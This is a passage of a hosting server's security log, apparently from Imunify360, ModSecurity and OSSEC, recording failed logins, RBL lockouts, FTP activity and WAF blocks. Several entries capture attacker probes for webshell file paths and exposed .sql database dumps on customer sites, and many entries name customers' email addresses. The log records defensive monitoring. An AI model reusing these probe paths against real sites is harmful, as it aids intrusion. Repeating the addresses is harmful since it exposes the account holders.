127.0.0.1 - ngzhengyu@manforce.my [01/12/2026:02:42:59 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ngzhengyu@manforce.my


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.251.210.246
country_id: 953987
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/5773924170.jpg&size=1000x1000 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.72
country_id: 1733045
description:
[2026-01-12 10:44:11 +0800] info [webmaild] 27.125.243.72 - jlpom@ajplantations.com.my "POST /cpsess0341060481/3rdparty/roundcube/?_task=mail&_remote=1&_from=compose&_id=179987874769645fddda60a&_uploadid=upload1768185853535&_action=upload HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.243.32] != Current IP Address [27.125.243.72]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.252
country_id: 6252001
description:
Jan 12 10:45:54 sv3 pure-ftpd[2746134]: (?@198.235.24.252) [INFO] New connection from 198.235.24.252


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.128.86.74
country_id: 2017370
description:
Jan 12 10:45:56 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.128.86.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.106.155.11
country_id: 798544
description:
Jan 12 10:46:38 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.106.155.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 10:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52316: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 10:47:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52316: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.229.105.50
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/data.sql||User:workingmagsoftco||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.235.18
country_id: 3175395
description:
Jan 12 10:49:57 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.235.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.143.138
country_id: 2963597
description:
Jan 12 10:49:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.143.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.235.18
country_id: 3175395
description:
Jan 12 10:50:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.235.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.224
country_id: 1269750
description:
Jan 12 10:50:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.224 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.164.40
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-50.209.50.164.40||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.178.191.113
country_id: 1210997
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=T010-0830 - RSC Printed Carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/photos/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.112
country_id: 1733045
description:
[2026-01-12 10:53:17 +0800] info [webmaild] 27.125.243.112 - jlpom@ajplantations.com.my "GET /cpsess8937872785/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-12 10:54:40 H=([45.144.212.54]) [45.144.212.54]:56729 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 10:59:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57808: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.243.202.105
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-58.104.243.202.105||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 10:59:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57808: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.85.1.112
country_id: 3508796
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=509827 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.7
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/img/img/demos/img/photos/clientele.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.196.191.39
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-00.185.196.191.39||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.114.151.95
country_id: 6252001
domain: www.kendek.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/kendek.sql||User:kendek||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.21
country_id: 3175395
description:
Jan 12 11:04:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.227.6.209
country_id: 3703430
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=123963 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.21
country_id: 3175395
description:
Jan 12 11:05:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.50.131.218
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=359598 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/eco.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.35
country_id: 690791
description:
Jan 12 11:07:44 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.208
country_id: 3469034
description:
Jan 12 11:08:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.208 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.185
country_id: 798544
description:
Jan 12 11:10:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.208
country_id: 3469034
description:
Jan 12 11:09:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.208 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.166
country_id: 1269750
description:
Jan 12 11:09:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.185
country_id: 798544
description:
Jan 12 11:10:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.101
country_id: 2300660
description:
Jan 12 11:10:37 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.229.105.45
country_id: 6252001
domain: www.cordage.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:admincordage||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.32.97.246
country_id: 1814991
description:
Jan 12 11:13:03 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.32.97.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.32.97.246
country_id: 1814991
description:
2026-01-12 11:13:05 dovecot_login authenticator failed for H=([117.32.97.246]) [117.32.97.246]:48525: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 111.92.184.22
country_id: 6252001
domain: smartcable.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/mysql.sql||User:smartcable||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.218.12.130
country_id: 2635167
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/land/525/418950 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.10.90
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=224566 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 11:15:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52394: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.212.110.237
country_id: 3144096
description:
Jan 12 11:15:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.212.110.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.212.110.237
country_id: 3144096
description:
2026-01-12 11:15:06 dovecot_login authenticator failed for H=(cm-46.212.110.237.get.no) [46.212.110.237]:59834: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 11:15:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52394: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.122.61
country_id: 248816
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=263428 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 11:17:29 sv3 pure-ftpd[2792899]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 11:17:31 sv3 pure-ftpd[2792899]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 11:17:40 sv3 pure-ftpd[2792899]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1047_PMR_AUG_Referral_edm/images/banner.jpg


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 11:17:45 sv3 pure-ftpd[2793224]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1047_PMR_AUG_Referral_edm/premier_edm.html uploaded  (41521 bytes, 1773.59KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.240
country_id: 953987
description:
Jan 12 11:18:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.240 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.129.122
country_id: 1733045
description:
[2026-01-12 11:19:56 +0800] info [webmaild] 113.211.129.122 - cytan@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.110.50
country_id: 798544
description:
Jan 12 11:20:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.110.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.175
country_id: 732800
description:
Jan 12 11:20:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.129.122
country_id: 1733045
description:
[2026-01-12 11:20:30 +0800] info [webmaild] 113.211.129.122 - cytan@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.222.33.218
country_id: 3625428
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&sub=19 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.62.73.16
country_id: 1733045
description:
[2026-01-12 11:23:26 +0800] info [webmaild] 182.62.73.16 - mchin@chs.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 206.168.34.222
country_id: 6252001
description:
Jan 12 11:23:34 sv3 pure-ftpd[2801375]: (?@206.168.34.222) [INFO] New connection from 206.168.34.222


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.82.70
country_id: 1269750
description:
Jan 12 11:24:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.82.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 11:27:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57826: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 11:27:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57827: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.150.80
country_id: 99237
description:
Jan 12 11:28:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.150.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 193.109.221.136
country_id: 6252001
domain: www.kendek.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:kendek||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/img/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.182
country_id: 6290252
description:
Jan 12 11:29:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 158.62.210.134
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-29.158.62.210.134||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/img/druma_photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.136.75
country_id: 99237
description:
Jan 12 11:31:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.136.75 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.77.17.48
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=954943 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.215
country_id: 6252001
description:
2026-01-12 11:32:44 2445232 [Warning] Aborted connection 2445232 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.215' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.38.112.81
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 92.119.229.90
country_id: 6252001
domain: www.cordage.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/cordage.sql||User:admincordage||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.7.84
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-36.65.111.7.84||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.91
country_id: 6252001
description:
2026-01-12 11:41:41 2445671 [Warning] Aborted connection 2445671 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.91' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.234.113.143
country_id: 798544
description:
Jan 12 11:42:27 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.234.113.143 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 11:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52433: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 11:43:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52434: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.192.215.160
country_id: 1733045
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=913632 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.114.148.19
country_id: 587116
description:
[2026-01-12 11:45:22 +0800] info [cpaneld] 37.114.148.19 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.186.157.217
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=514257 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 218.15.28.42
country_id: 1814991
description:
2026-01-12 11:46:41 2445896 [Warning] Aborted connection 2445896 to db: 'unconnected' user: 'unauthenticated' host: '218.15.28.42' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.180
country_id: 798544
description:
Jan 12 11:46:46 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.112.9
country_id: 3469034
description:
Jan 12 11:47:06 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.112.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.112.9
country_id: 3469034
description:
Jan 12 11:47:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.112.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.72.244.14
country_id: 4566966
description:
2026-01-12 11:47:18 dovecot_login authenticator failed for H=([76.72.244.14]) [76.72.244.14]:34796: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.98.107.155
country_id: 2589581
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/guzzlehttp/psr7/src/functions.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.236.91.182
country_id: 1694008
description:
2026-01-12 11:47:30 dovecot_login authenticator failed for H=([156.236.91.182]) [156.236.91.182]:52156: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.165
country_id: 690791
description:
Jan 12 11:47:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.72.244.14
country_id: 4566966
description:
Jan 12 11:47:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.72.244.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 156.236.91.182
country_id: 1694008
description:
Jan 12 11:47:28 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 156.236.91.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.32
country_id: 953987
description:
